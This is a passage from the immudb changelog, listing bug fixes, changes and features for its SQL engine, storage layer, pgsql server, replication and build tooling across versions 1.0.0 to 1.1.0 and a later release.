**embedded/sql:** Alter index key prefixes\n- **embedded/sql:** return map with last inserted pks\n- **embedded/sql:** wip rw transactions\n- **embedded/sql:** defer execution of onClose callback\n- **embedded/sql:** wip sqlTx\n- **embedded/sql:** standard count(*)\n- **embedded/sql:** ddl stmts not counted in updatedRows\n- **embedded/sql:** method to return sql catalog\n- **embedded/sql:** non-thread safe tx\n- **embedded/sql:** wip interactive sqltx\n- **embedded/sql:** bound stmt execution to a single sqltx\n- **embedded/sql:** use current db from ongoing tx\n- **embedded/store:** expose ExistKeyWithPrefix in OngoingTx\n- **embedded/store:** conservative read conflict validation\n- **embedded/store:** non-thread safe ongoing tx\n- **embedded/store:** reorder tx validations\n- **embedded/store:** wip tx header versioning\n- **embedded/store:** simplified ExistKeyWithPrefix in current snapshot\n- **embedded/store:** set tx as closed even on failed attempts\n- **embedded/store:** strengthen tx validations\n- **embedded/store:** GetWith method accepting filters\n- **embedded/store:** set header version at commit time\n- **embedded/store:** remove currentShapshot method\n- **embedded/store:** entryDigest calculation including key len\n- **embedded/store:** threadsafe tx\n- **embedded/store:** handle watchersHub closing error\n- **embedded/store:** ongoing tx api\n- **embedded/store:** tx header version validations and increased max number of entries\n- **embedded/store:** early tx conflict checking\n- **embedded/store:** filter out entries when filter evals to true\n- **embedded/tbtree:** remove ts from snapshot struct\n- **embedded/tools:** upgrade sql stress tool\n- **embedded/tools:** upgrade stress tool using write-only txs\n- **embedded/tools:** update stress_tool after metadata-related changes\n- **pkg/api:** changes in specs to include new metadata records\n- **pkg/api:** consider nil case during tx header serialization\n- **pkg/api/schema:** increase supported types when converting to sql values\n- **pkg/client:** check if token is present before injecting it\n- **pkg/client:** omit deleted flag during value decoding\n- **pkg/client:** updates after metadata-related changes\n- **pkg/client:** avoid useless tokenservice call and add tests\n- **pkg/client/clienttest:** fix immuclient mock\n- **pkg/client/tokenservice:** handlig error properly on token interceptor and fix leftovers\n- **pkg/database:** return a specific error in querying\n- **pkg/database:** snapshots should be up to current committed tx\n- **pkg/database:** improve readability of Database interface\n- **pkg/database:** limit query len result\n- **pkg/database:** updates after metadata-related changes\n- **pkg/database:** use new transaction support\n- **pkg/database:** implement current functionality with new tx supportt\n- **pkg/database:** revised locking so to ensure gracefully closing\n- **pkg/database:** enforce verifiableSQLGet param validation\n- **pkg/errors:** useDatabase returns notFound code when error\n- **pkg/errors:**  invalid database name error converted to immuerror\n- **pkg/integration:** updates after metadata-related changes\n- **pkg/server:** use upgraded database apis\n- **pkg/server:** updates after metadata-related changes\n- **pkg/server:** error when tx are not closed\n- **pkg/server/sessions:** polish logger call\n- **pkg/server/sessions:** add sessions counter debug messages\n- **pkg/stdlib:** remove context injection when query or exec\n- **pkg/stdlib:** fix unit testing\n- **pkg/stdlib:** increase pointer values handling and testing\n- **pkg/stdlib:** general improvements and polishments\n- **pkg/stdlib:** handling nil pointers when converting to immudb named params\n- **pkg/stdlib:** improve connection handling and allow ssl mode in connection string\n- **stress_tool_sql:** add sessions and transaction mode\n- **stress_tool_worker_pool:** add long running stress tool\n- **test:** test backward compatibility with previous release (v1.1.0)\n- **tsting:** add index compactor in long running stress tool\n\n### Features\n- helm chart for deploying immudb on kubernetes ([#997](https://github.com/vchain-us/immudb/issues/997))\n- **embedded/appendable:** method for reading short unsigned integer\n- **embedded/sql:** null values for secondary indexes\n- **embedded/sql:** support for IN clause\n- **embedded/sql:** support for not like\n- **embedded/sql:** WIP un-restricted upsert\n- **embedded/sql:** engine as tx executor\n- **embedded/sql:** wip sqltx at engine with autocommit\n- **embedded/sql:** increased expression power in LIKE and IN clauses\n- **embedded/sql:** Detect ambigous selectons on joins\n- **embedded/sql:** distinct row reader\n- **embedded/sql:** delete from statement\n- **embedded/sql:** sql update statement\n- **embedded/sql:** support value expression in like pattern\n- **embedded/sql:** create index if not exists\n- **embedded/store:** initial commit towards full tx support\n- **embedded/store:** wip enhanced tx support\n- **embedded/store:** conservative tx invalidation\n- **embedded/store:** included filters in key readers\n- **embedded/store:** including metadata records\n- **embedded/store:** logical key deletion api\n- **embedded/store:** keyReader in tx scope\n- **embedded/store:** functional constraints\n- **embedded/tbtree:** read as before returns history count\n- **embedded/tbtree:** implements ExistKeyWithPrefix in snapshots\n- **sql:** Add support for IS NULL / IS NOT NULL expressions\n- **sql/index-on-nulls:** Update on-disk format to support nullable values\n- **sql/timestamp:** Add CAST from varchar and integer to timestamp\n- **sql/timestamp:** Add timestamp support to embedded/sql\n- **sql/timestamp:** Add timestamp to protobuf definition\n- **sql/timestamp:** Add timestamp to stdlib\n\n\n<a name=\"v1.1.0\"></a>\n## [v1.1.0] - 2021-09-22\n### Bug Fixes\n- Minor updates to build/RELEASING.md\n- Update Dockerfile.alma maintainer field\n- **CI:** Fix building and releasing almalinux images\n- **Dockerfile:** Fix compiling version information in docker images\n- **Dockerfile.rndpass:** Fix building rndpass docker image\n- **embedded/sql:** limit auto-increment to single-column pks\n- **embedded/sql:** consider boolean type in maxKeyVal\n- **embedded/sql:** exclude length from maxKey\n- **embedded/sql:** return error when joint table doest not exist\n- **embedded/sql:** support edge case of table with just an auto-increment column\n- **embedded/sql:** take into account table aliasing during range calculations\n- **embedded/sql:** suffix endKey when scan over all entries\n- **embedded/sql:** in-mem catalog rollback and syncing fixes\n- **embedded/sql:** adjust selector ranges calculation\n- **embedded/sql:** improve error handling and parameters validation\n- **embedded/sql:** set type any to nil parameters\n- **embedded/sql:** fix table aliasing with implicit selectors\n- **embedded/sql:** enforce ordering by grouping column\n- **embedded/store:** fix constraint condition\n- **embedded/store:** error handling when setting offset fails\n- **pkg:** improve signature verification during audit\n- **pkg/stdlib:** fix driver connection releasing\n\n### Changes\n- remove wip warning for fully implemented features\n- Remove experimental S3 warning from README\n- Update codenotary maintainer info\n- Update RELEASING.md with documentation step.\n- Add documentation link to command line help outputs\n- Add documentation link at the beginning of README.md\n- Add documentation badge to README.md\n- **CI:** Explicitly require bash in gh action building docker images\n- **CI:** Use buildkit when building docker images\n- **CI:** Build almalinux-based immudb image\n- **Dockerfile:** Update base docker images\n- **Dockerfile:** Use scratch as a base for immudb image\n- **Dockerfile:** Build a debian-based image for immudb next to the scratch one\n- **Dockerfile:** Remove unused IMMUDB_DBNAME env var\n- **Makefile:** Add darwin/amd64 target\n- **Makefile:** More explicit webconsole version\n- **build.md:** Add info about removing webconsole/dist folder\n- **cmd/immuadmin:** parse all db flags when preparing settings\n- **cmd/immuadmin:** remove replication flag shortcut\n- **cmd/immuadmin:** improve flag description and rollback args spec\n- **cmd/immuclient:** display number of updated rows as result of sql exec\n- **cmd/immudb:** use common replication prefix\n- **docker:** Update generation of docker tags\n- **embedded:** leverage kv constraint to enforce upsert over auto-incremental pk requires row to already exist\n- **embedded/multierr:** enhace multi error implementation\n- **embedded/sql:** remove join constraints\n- **embedded/sql:** minor refactoring to simplify code\n- **embedded/sql:** convert unmapIndexedRow into unmapRow with optional indexed value\n- **embedded/sql:** index prefix function\n- **embedded/sql:** catalog loading requires up to date data store indexing\n- **embedded/sql:** mark catalog as mutated when using auto incremental pk\n- **embedded/sql:** move index spec closer to ds\n- **embedded/sql:** changed identifiers length in catalog\n- **embedded/sql:** move index selection closer to data source in query statements\n- **embedded/sql:** minor code refactoring\n- **embedded/sql:** include constraint only when insert occurs without auto_incremental pk\n- **embedded/sql:** disable TIMESTAMP data-type\n- **embedded/sql:** get rid of limited joint implementation\n- **embedded/sql:** minor code simplification\n- **embedded/sql:** ignore null values when encoding row\n- **embedded/sql:** fix primary key supported types error message\n- **embedded/sql:** optimize integer key mapping\n- **embedded/sql:** use plain big-endian encoding for integer values\n- **embedded/sql:** include support for int64 parameters\n- **embedded/sql:** use Cols as a replacement for ColsByID\n- **embedded/sql:** leverage endKey to optimize indexing scanning\n- **embedded/sql:** use int64 as value holder for INTEGER type\n- **embedded/sql:** add further validations when encoding values as keys\n- **embedded/sql:** fix max key length validation\n- **embedded/sql:** reserve byte to support multi-ordered indexes\n- **embedded/sql:** expose primary key index id\n- **embedded/sql:** wip scan optimizations based on query condition and sorting\n- **embedded/sql:** partial progress on selector range calculation\n- **embedded/sql:** validate non-null pk when decoding index entry\n- **embedded/sql:** limit upsert to tables without secondary indexes\n- **embedded/sql:** optional parenthesis when specifying single-column index\n- **embedded/sql:** partial progress on selector range calculation\n- **embedded/tbtree:** typo in log message\n- **embedded/tbtree:** return kv copies\n- **embedded/tbtree:** adjust seekKey based on prefix even when a value is set\n- **embedded/tbtree:** compaction doesn't need snapshots to be closed\n- **embedded/tools:** update sql stress tool with exec summary\n- **pkg/api:** changed db identifiers type\n- **pkg/api:** use follower naming for replication credentials\n- **pkg/api:** use a map for holding latest auto-incremental pks\n- **pkg/api:** delete deprecated clean operation\n- **pkg/api:** include updated rows and last inserted pks in sql exec result\n- **pkg/api:** use fresh id in proto message\n- **pkg/api:** use int64 as value holder for INTEGER type\n- **pkg/client:** move unit testing to integration package to avoid circular references\n- **pkg/client:** changed db identifiers type\n- **pkg/database:** warn about data migration needed\n- **pkg/database:** update integration to exec summary\n- **pkg/database:** minor adjustments based on multi-column indexing\n- **pkg/database:** warn about data migration needed\n- **pkg/database:** include updated rows and last inserted pks in sql exec result\n- **pkg/database:** display as unique if there is a single-column index\n- **pkg/database:** create sql db instance if not present\n- **pkg/database:** minor refactoring coding conventions\n- **pkg/database:** remove active replication options from database\n- **pkg/database:** minor renaming after rebase\n- **pkg/pgsql/server:** adds pgsql server maxMsgSize 32MB limit\n- **pkg/pgsql/server:** add a guard on payload message len\n- **pkg/replication:** use new context for each client connection\n- **pkg/replication:** handle disconnection only within a single thread\n- **pkg/replication:** use info log level for network failures\n- **pkg/server:** changed default db file size and make it customizable at db creation time\n- **pkg/server:** change max concurrency per database to 30\n- **pkg/server:** nil tlsConfig on default options\n- **pkg/server:** validate replication settings\n- **pkg/server:** use replica wording\n- **pkg/server:** followers management\n- **pkg/stdLib:** implementing golang standard sql interfaces\n- **pkg/stdlib:** increase code coverage and fix blob results scan\n- **pkg/stdlib:** remove pinger interface implementation and increase code coverage\n- **pkg/stdlib:** immuclient options identifier(uri) is used to retrieve cached connections\n- **pkg/stdlib:** simplified and hardened uri handling\n\n### Features\n- Dockerfile for almalinux based image\n- **cmd/immuadmin:** add replication flags\n- **cmd/immuadmin:** add flag to exclude commit time\n- **embedded/multierr:** implement stardard error Is & As methods\n- **embedded/sql:** use explicitelly specified index as preffered one\n- **embedded/sql:** wip unique multi-column indexes\n- **embedded/sql:** wip auto-incremental integer primary keys\n- **embedded/sql:** value expressions in row specs\n- **embedded/sql:** switch to signed INTEGER\n- **embedded/sql:** exec summary containing number of updated/inserted rows and last inserted pk per table\n- **embedded/sql:** max length on variable sized types as requirement for indexing\n- **embedded/sql:** multi-column primary keys\n- **embedded/sql:** support index spec in joins\n- **embedded/sql:** expose scanSpecs when resolving a query\n- **embedded/sql:** wip unique multi-column indexing\n- **embedded/sql:** towards more powerful joins\n- **embedded/sql:** inner join with joint table and subqueries\n- **embedded/store:** parameterized commit time\n- **embedded/store:** leverage endKey from tbtree key reader\n- **embedded/tbtree:** include endKey to instruct scan termination\n- **pkg/database:** row verification with composite primary keys\n- **pkg/follower:** follower replication\n- **pkg/pgsql/server:** add support for flush message\n- **pkg/replication:** initial active replication capabilities\n- **pkg/server:** initial support for active replication of user created databases\n- **pkg/server:** upgrade db settings to include or exclude commit time\n- **pkg/server:** systemdb and defaultdb follower replication\n\n\n<a name=\"v1.0.5\"></a>\n## [v1.0.5] - 2021-08-02\n### Bug Fixes\n- bind psql port to the same IP address as grpc interface ([#867](https://github.com/vchain-us/immudb/issues/867))\n- Update crypto, sys dependencies\n- consistent reads of recently written data\n- **embedded/ahtree:** fix the full revert corner case\n- **embedded/store:** Truncate aht before commit\n- **embedded/store:** revert change so to prevent nil assigments\n- **embedded/store:** handle missing error case during commit phase\n- **embedded/store:** Don't fail to open on corrupted commit log\n- **embedded/store:** use reserved concurrency slot for indexing\n- **embedded/tbtree:** use padding to ensure stored snapshots are named following lex order\n- **embedded/tbtree:** garbage-less nodes log\n- **embedded/tbtree:** ensure clog is the last one being synced\n- **embedded/tbtree:** flush logs containing compacted index\n- **embedded/tbtree:** ensure proper data flushing and syncing\n- **pkg/client/auditor:** fix and enhance state signature verification\n- **pkg/pgsql/server:** fix boolean and blob extended query handling\n- **pkg/pgsql/server:** hardened bind message parsing and fix leftovers\n- **pkg/pgsql/server/fmessages:** use a variable size reader to parse fe messages\n- **pkg/server:** initialize db settings if not present\n- **pkg/server:** lock userdata map read\n- **s3:** Use remote storage for index\n- **s3:** Use remote storage for new databases\n- **sql/engine:** Harden DecodeValue\n- **store/indexer:** Ensure indexer state lock is always unlocked\n\n### Changes\n- move sqlutils package to schema\n- Update dependencies\n- increased coverage handling failure branches ([#861](https://github.com/vchain-us/immudb/issues/861))\n- group user methods in a dedicated file\n- Better logging when opening databases\n- remove unused interceptors and add missing error code prefixes\n- **appendable:** Expose validation functions of appendable options\n- **appendable/multiapp:** Add hooks to the MultiFileAppender implementation\n- **appendable/multiapp:** Introduce appendableLRUCache\n- **cmd/immuclient:** fix panic in immuclient cli mode\n- **cmd/immuclient:** update error comparisson\n- **embedded:** col descriptor with attributes\n- **embedded/ahtree:** minor refactoring improving readability\n- **embedded/ahtree:** auto-truncate partially written commit log\n- **embedded/ahtree:** minor changes towards code redabilitiy\n- **embedded/cache:** Add Pop and Replace methods to LRUCache.\n- **embedded/sql:** explicit catalog reloading upon failed operations\n- **embedded/sql:** type specialization\n- **embedded/sql:** Remove linter warnings\n- **embedded/sql:** initial type specialization in place\n- **embedded/sql:** remove public InferParameters operations from sql statements\n- **embedded/sql:** validate either named or unnamed parameters are used within the same stmt\n- **embedded/sql:** towards non-blocking sql initialization\n- **embedded/sql:** parameters type inference working with aggregations\n- **embedded/sql:** several adjustments and completion in type inference functions\n- **embedded/sql:** dump catalog with a different database name\n- **embedded/sql:** cancellable wait for catalog\n- **embedded/sql:** expose InferParameters function in RowReader interface\n- **embedded/store:** tx metatada serialization/deserialization\n- **embedded/store:** edge-case validation with first tx\n- **embedded/store:** validate replicated tx against current store\n- **embedded/store:** minor refactoring improving readability\n- **embedded/store:** auto-truncate partially written commit log\n- **embedded/store:** minor code simplification\n- **embedded/tbtree:** expose current number of snapshots\n- **embedded/tbtree:** warn if an error is raised while discarding snapshots\n- **embedded/tbtree:** nodes and commit prefix renaming\n- **embedded/tbtree:** use setOffset for historical data overwriting\n- **embedded/tbtree:** auto-truncate partially written commit log\n- **embedded/tbtree:** full snapshot recovery\n- **embedded/tbtree:** enable snapshot generation while compaction is in progress\n- **pkg/api:** kept same attribute id in TxEntry message\n- **pkg/api:** fix typo inside a comment\n- **pkg/api:** remove information not required to cryptographically prove entries\n- **pkg/api:** kept simple db creation api to guarantee backward compatibility\n- **pkg/api:** comment on deprecated and not yet supported operations\n- **pkg/auth:** list of supported operations in maintenance mode\n- **pkg/database:** replace fixed naming with current database\n- **pkg/database:** migrate systemdb catalog to fixed database naming\n- **pkg/database:** single-store databases\n- **pkg/database:** support the case where database tx is not the initial one due to migration\n- **pkg/database:** no wait for indexing during tx replication\n- **pkg/database:** sql operations after catalog is created\n- **pkg/database:** method to retrieve row cursor based on a sql query stament\n- **pkg/database:** re-construct sql engine once catalog is ready\n- **pkg/database:** use fixed database name\n- **pkg/database:** sql catalog per database. migration from shared catalog store when required\n- **pkg/database:** sql catalog reloading on replica\n- **pkg/database:** wait for sql engine initialization before closing\n- **pkg/database:** log warning about WIP feature when using replication capabilities\n- **pkg/database:** replace fixing naming with current database\n- **pkg/database:** expose catalog loading operation\n- **pkg/database:** catalog reloading by replicas\n- **pkg/database:** gracefully stop by cancelling sql initialization\n- **pkg/database:** internal method renaming\n- **pkg/database:** log when a database is sucessfully opened\n- **pkg/database:** add IsReplica method\n- **pkg/database:** parameter inference for parsed statements\n- **pkg/errors:** fix user operations error codes with pgsql official ones, increase coverage\n- **pkg/errors:** immuerrors use an internal map to determine code from the message\n- **pkg/errors:** add more error codes and add Cod prefix to codes var names\n- **pkg/errors:** add comments\n- **pkg/pgsql:** increase server coverage\n- **pkg/pgsql/server:** handle empty statements\n- **pkg/pgsql/server:** increase multi inserts tests number in simple and extended query\n- **pkg/pgsql/server:** hardened INTEGER parameters conversion\n- **pkg/pgsql/server:** some polishments in the state machine\n- **pkg/pgsql/server:** simplify query machine\n- **pkg/pgsql/server:** increase code coverage\n- **pkg/pgsql/server:** protect  parameters description message from int16 overflown\n- **pkg/pgsql/server:** add max parameters value size guard and move error package in a higher level to avoid cycle deps\n- **pkg/pgsql/server:** add bind message negative value size guards\n- **pkg/pgsql/server:** handle positional parameters\n- **pkg/pgsql/server:** add a guard to check max message size and handle default case in parsing format codes in bind messages\n- **pkg/pgsql/server/fmessages:** uniform malformed bind messages\n- **pkg/server:** disable user mgmt operations in maintenance mode\n- **pkg/server:** systemdb renaming\n- **pkg/server:** move userdata lock in the inner method getLoggedInUserDataFromUsername\n- **pkg/server:** remove methods moved to user file\n- **pkg/server:** fix typo in error message\n- **pkg/server:** remove duplicated property\n- **pkg/server:** minor adjustments after rebasing from master branch\n- **pkg/server:** minor updates after rebasing\n- **pkg/stream:** use io.Reader interface\n- **pkg/stream:** use wrapped errors\n- **pkg/stream:** inject immu errors\n- **pkg/stream:** fix namings on stream api objects\n\n### Features\n- immuclient running as auditor - replace \"prometheus-port\" and \"prometheus-host\" CLI flags with \"audit-monitoring-host\" and \"audit-monitoring-port\" (int) and start a single HTTP server which exposes all the needed endpoints (GET /metrics, /initz, /readyz, /livez and /version)\n- add /healthz and /version endpoints for immudb and immuclient auditor\n- add immudb error package\n- **appendable:** Add remote s3 backend\n- **cmd/immuadmin:** update database command\n- **cmd/immuadmin:** upgrade database creation with settings\n- **cmd/immuadmin:** add flag to create database as a replica\n- **cmd/immuclient:** upgrade database creation with settings\n- **embedded/sql:** adding method to infer typed parameters from sql statements\n- **embedded/sql:** catalog dumping\n- **embedded/sql:** towards leveraging readers for type inference\n- **embedded/sql:** support for named positional parameters\n- **embedded/sql:** support for unnamed parameters\n- **embedded/store:** passive waiting for transaction commit\n- **embedded/store:** WIP replicatedCommit\n- **embedded/store:** tx export and commit replicated\n- **pkg/api:** endpoints for exporting and replicating txs\n- **pkg/api:** enhanced createDatabase endpoint to specify database replication\n- **pkg/api:** new endpoint to update database settings\n- **pkg/client:** replica creation and replication API\n- **pkg/client:** implements update database settings operation\n- **pkg/client:** deprecate CleanIndex operation\n- **pkg/database:** db as replica and replication operations\n- **pkg/database:** parameters type inference exposed in database package\n- **pkg/database:** implement passive wait for committed tx\n- **pkg/database:** suppport runtime replication settings changes\n- **pkg/error:** add improved error handling\n- **pkg/pgsql/server:** add extended query messages and inner logic\n- **pkg/server:** enable simultaneous replication of systemdb and defaultdb\n- **pkg/server:** stream of committed txs\n- **pkg/server:** initial handling of database replication settings\n- **pkg/server:** replicas and replication endpoints\n- **pkg/server:** implements update database settings endpoint\n- **pkg/server:** leverage maintenance mode to recover systemdb and defaultdb databases\n- **pkg/stream:** readFully method to read complete payload transmitted into chunks\n\n\n<a name=\"v1.0.1\"></a>\n## [v1.0.1] - 2021-06-07\n### Bug Fixes\n- go mod tidy/vendor with statik module ([#796](https://github.com/vchain-us/immudb/issues/796))\n- **cmd/immuclient:** remove warnings on sql commands in interactive mode\n- **cmd/immuclient:** improve immuclient tx and safetx error message\n- **embedded/sql:** interprete binary prefix if followed by a quote\n- **pkg/server:** always create system db (even when auth is off)\n\n### Changes\n- enhance Makefile so to automatically download latest webconsole if not already present\n- README/doc updates ([#791](https://github.com/vchain-us/immudb/issues/791))\n- enable webconsole in docker image\n- remove mtls evironments var from dockerfile\n- **embedded/store:** apply synced settings to indexing data\n- **embedded/store:** sync values once all entries are written\n- **pkg/database:** retry database selection after registration\n- **pkg/database:** auto-registration when not present in the catalog\n\n### Features\n- **embedded/sql:** support <column> <type> NULL syntax\n- **pkg/database:** enhace table description by adding nullable constraint\n- **webconsole:** default web console page ([#786](https://github.com/vchain-us/immudb/issues/786))\n\n\n<a name=\"v1.0.0\"></a>\n## [v1.0.0] - 2021-05-21\n### Bug Fixes\n- tlsConfig is always non-nil\n- make prequisites fixes introduced in [#726](https://github.com/vchain-us/immudb/issues/726) ([#732](https://github.com/vchain-us/immudb/issues/732))\n- fix windows installer service and missing flags\n- **cmd/immuclient/immuclienttest:** fix options injection in client test helper ([#749](https://github.com/vchain-us/immudb/issues/749))\n- **embedded:** ensure readers get properly closed\n- **embedded/sql:** close reader after loading catalog\n- **embedded/sql:** add missing error handling\n- **embedded/sql:** fix selector aliasing\n- **embedded/sql:** prevent side effects in conditional clauses\n- **embedded/store:** fix issue when resuming indexing\n- **embedded/store:** notified latest committed tx when opening store\n- **embedded/store:** fix indexing data race\n- **pkg/client:** row verification with nullable values\n- **pkg/client/cache:** fix lock file cache issue on windows\n- **pkg/client/cache:** clean state file when re-writing old stetes\n- **pkg/database:** unwrap parameter before calling sqlexec\n- **pkg/database:** use SQLPrefix when reopening database\n- **pkg/pgsql/server:** handle data_row message with text format\n- **pkg/server:** complete error handling\n- **pkg/server:** disable pgsql server by default and fix previous server tests\n- **pkg/sql:** columns resolved with aliases\n- **pkg/sql:** resolve shift/reduce conflict in SELECT stmt\n\n### Changes\n- blank line needed after tag or interpreted as comment\n- bundle webconsole inside dist binaries\n- fix rebase leftovers\n- fix acronym uppercase\n- reword wire compatibility\n- increase coverage and minor fix\n- make roadmap about pgsql wire more explicit ([#723](https://github.com/vchain-us/immudb/issues/723))\n- expose missing methods to REST ([#725](https://github.com/vchain-us/immudb/issues/725))\n- inject immudb user authentication\n- fix makefile leftovers\n- improved make dist script\n- move concrete class dblist to database package\n- revert 3114f927adf4a9b62c4754d42da88173907a3a9f in order to allow insecure connection on grpc server\n- dblist interface is moved to database package and extended\n- add pgsql related flags\n- **cmd/immuclient:** query result rendering\n- **cmd/immuclient:** add describe, list, exec and query commands to immuclient shell\n- **cmd/immuclient:** render raw values\n- **cmd/immudb:** add debug info env var details\n- **cmd/immudb/command:** enabled pgsql server only in command package\n- **cmd/immudb/command:** restore missing pgsql cmd flag\n- **cmd/immudb/command:** remove parsing path option in unix\n- **cmd/immudb/command:** handle tls configuration errors\n- **embedded/cache:** thread-safe lru-cache\n- **embedded/sql:** expose functionality needed for row verification\n- **embedded/sql:** minor refactoring to expose functionality needed for row verification\n- **embedded/sql:** case insensitive identifiers\n- **embedded/sql:** case insensitive functions\n- **embedded/sql:** resolve query with current snapshot if readers are still open\n- **embedded/sql:** set 'x' as blob prefix\n- **embedded/sql:** move sql engine under embedded package\n- **embedded/sql:** store non-null values and only col ids on encoded rows\n- **embedded/sql:** safer support for selected database\n- **embedded/sql:** validate table is empty before index creation\n- **embedded/sql:** skip tabs\n- **embedded/sql:** keep one snapshot open and close when releasing\n- **embedded/sql:** improved nullables\n- **embedded/store:** pausable indexer\n- **embedded/store:** commitWith callback using KeyIndex interface\n- **embedded/store:** index info to return latest indexed tx\n- **embedded/store:** use indexer state to terminate indexing goroutine\n- **embedded/store:** log during compaction\n- **embedded/tbree:** postpone reader initialization until first read\n- **embedded/tbtree:** remove dots denoting progress when flushing is not needed\n- **embedded/tbtree:** index compaction if there is not opened snapshot, open snapshot if compaction is not in already in progress\n- **embedded/tbtree:** make snapshot thread-safe\n- **embedded/watchers:** cancellable wait\n- **pkg/api:** render varchar as raw string value\n- **pkg/api:** include data needed for row verification\n- **pkg/api:** render varchar as quoted string\n- **pkg/api:** render varchar as quoted strings\n- **pkg/api:** sql api spec\n- **pkg/api/schema:** Handle tools via modules ([#726](https://github.com/vchain-us/immudb/issues/726))\n- **pkg/auth:** add SQL-related permissions\n- **pkg/auth:** perm spec for row verification endpoint\n- **pkg/client:** remove deprecated operations\n- **pkg/client:** use  to fetch current database name\n- **pkg/client:** auto convert numeric values to uint64\n- **pkg/client:** improved sql API\n- **pkg/client/cache:** release lock only if locked file is present, and wait for unlock when already present\n- **pkg/database:** set implicit database using `UseDatabase` method\n- **pkg/database:** typed-value proto conversion\n- **pkg/database:** towards prepared sql query support\n- **pkg/database:** row verification against kv-entries\n- **pkg/database:** improved parameters support\n- **pkg/database:** return mapped row values\n- **pkg/database:** upgrade ExecAll to use KeyIndex interface\n- **pkg/database:** add missing copy\n- **pkg/database:** support index compaction with sql engine in place\n- **pkg/database:** support multi-selected columns\n- **pkg/database:** use store-level snapshots\n- **pkg/database:** upgrade wait for indexing api\n- **pkg/database:** ensure rowReader get closed upon completion\n- **pkg/database:** use MaxKeyScanLimit to limit query results\n- **pkg/database:** support for nullable values\n- **pkg/database:** close sql engine when db gets closed\n- **pkg/database:** make use of UseDatabase operation\n- **pkg/embedded:** introduce Snapshot at Store level\n- **pkg/pgsql:** handle empty response and command complete message\n- **pkg/pgsql:** add pgsql server wire protocol stub\n- **pkg/pgsql:** handle parameter status and terminate messages\n- **pkg/pgsql:** fix filename format\n- **pkg/pgsql:** bind immudb sql engine\n- **pkg/pgsql:** use options flag to determine if pgsql server need to be launched\n- **pkg/pgsql/client:** add jackc/pgx pgsql client for testing purpose\n- **pkg/pgsql/server:** limit number of total connections and do not stop server in case of errors\n- **pkg/pgsql/server:** handle an ssl connection request if no certificate is present on server\n- **pkg/pgsql/server:** protect simple query flow with a mutex\n- **pkg/pgsql/server:** enforce reserved statements checks\n- **pkg/pgsql/server:** handle version statement\n- **pkg/pgsql/server:** default error in simplequery loop has error severity\n- **pkg/pgsql/server:** add missing copyright\n- **pkg/pgsql/server:** remove host parameter\n- **pkg/pgsql/server:** move sysdb in session constructor\n- **pkg/pgsql/server:** add debug logging messages, split session handling in multiple files\n- **pkg/pgsql/server:** improve error handling when client message is not recognized\n- **pkg/pgsql/server:** fix connection upgrade pgsql protocol messages\n- **pkg/pgsql/server:** minor fixes and leftovers\n- **pkg/server:** use systemdb as a shared catalog store\n- **pkg/server:** fix db mock\n- **pkg/server:** remove unused options\n- **pkg/server:** remove tls configuration in server\n- **pkg/server:** inject sqlserver in main immudb server\n- **pkg/server:** renamed server reference\n- **pkg/server:** load systemdb before any other db\n- **pkg/sql:** alias overriding datasource name\n- **pkg/sql:** add comment about nested joins\n- **pkg/sql:** refactored AggregatedValue and TypedValue interfaces\n- **pkg/sql:** unify augmented and grouped row readers\n- **pkg/sql:** support for SUM aggregations\n- **pkg/sql:** row reader to support GROUP BY behaviour\n- **pkg/sql:** grammar adjustments to support aggregated columns\n- **pkg/sql:** swap LIMIT and ORDER BY parse ordering\n- **pkg/sql:** many internal adjustments related to name binding\n- **pkg/sql:** ensure use snapshot is on the range of committed txs\n- **pkg/sql:** joint column with explicit table reference\n- **pkg/sql:** upgrade to new store commit api\n- **pkg/sql:** support multiple spacing between statements\n- **pkg/sql:** column descriptors in row readers\n- **pkg/sql:** improve error handling\n- **pkg/sql:** return ErrNoMoreRows when reading\n- **pkg/sql:** towards catalog encapsulation\n- **pkg/sql:** improved null value support\n- **pkg/sql:** order-preserving result set\n- **pkg/sql:** using new KeyReaderSpec\n- **pkg/sql:** joins limited to INNER type and equality comparison against ref table PK\n- **pkg/sql:** row reader used to close the snapshot once reading is completed\n- **pkg/sql:** mapping using ids, ordering and renaming support\n- **pkg/sql:** composite readers\n- **pkg/sql:** wip multiple readers\n- **pkg/sql:** catch store indexing errors\n- **pkg/sql:** add generated sql parser\n- **pkg/sql:** make row values externally accessible\n- **pkg/sql:** remove offset param\n- **pkg/sql:** value-less indexed entries\n- **pkg/sql:** encoded value with pk entry\n- **pkg/sql:** remove alter column stmt\n- **pkg/sql:** inmem catalog with table support\n- **pkg/sql:** inmem catalog\n- **pkg/sql:** catalog construct\n- **pkg/sql:** primary key supported type validation\n- **pkg/sql:** use standardized transaction closures\n- **pkg/sql:** col selector with resolved datasource\n- **pkg/sql:** case insensitive reserved words\n- **pkg/sql:** use token IDENTIFIER\n- **tools/stream:** upgrade stream tools dependencies\n\n### Code Refactoring\n- **pkg/server:** tls configuration is moved in command package from server\n\n### Features\n- display version at startup ([#775](https://github.com/vchain-us/immudb/issues/775))\n- enhance database size and number of entries metrics to support multiple databases add CORS middleware to metrics HTTP endpoints ([#756](https://github.com/vchain-us/immudb/issues/756))\n- CREATE TABLE IF NOT EXISTS ([#738](https://github.com/vchain-us/immudb/issues/738))\n- **cmd/immuclient:** list and describe tables\n- **cmd/immuclient:** use 'tables' to display the list of tables within selected database\n- **embedded/sql:** use snapshot as state method\n- **embedded/sql:** arithmetic expressions within where clause\n- **embedded/sql:** 'NOT NULL' constraint\n- **embedded/sql:** special case when all selectors are aggregations and there is no matching rows\n- **embedded/sql:** enhanced sql parser to support multi-lined statements\n- **embedded/sql:** INSERT INTO statement\n- **embedded/sql:** LIKE operator support\n- **embedded/store:** uniqueness constraint and de-coupled indexer\n- **embedded/store:**  operation\n- **embedded/tools:** initial SQL stress tool ([#760](https://github.com/vchain-us/immudb/issues/760))\n- **pkg/api:** sql endpoints for row verification\n- **pkg/api:** noWait mode for sql statements\n- **pkg/client:** row verification\n- **pkg/client:** towards client-side sql support\n- **pkg/database:** towards sql support\n- **pkg/database:** towards integrated sql engine. handling database creation at server level\n- **pkg/database:** list and describe tables\n- **pkg/database:** row verification endpoint\n- **pkg/pgsql:** add tls support\n- **pkg/pgsql/server:** dblist is injected in pgsql server\n- **pkg/pgsql/server:** setup pgsqk error handling\n- **pkg/pgsql/server:** handle nil values\n- **pkg/server:** expose  endpoint\n- **pkg/server:** row verification endpoint\n- **pkg/server:** initial integration of sql engine\n- **pkg/sql:** column selector alias support\n- **pkg/sql:** jointRowReader towards supporting joins\n- **pkg/sql:** towards supporting COUNT, SUM, MIN, MAX and AVG\n- **pkg/sql:** towards aggregated values support\n- **pkg/sql:** 